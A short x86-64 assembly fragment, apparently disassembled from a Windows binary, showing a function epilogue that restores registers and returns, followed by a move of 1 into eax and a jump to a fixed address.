add rsp, 0x80
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
mov eax, 1
jmp 0x180011b7c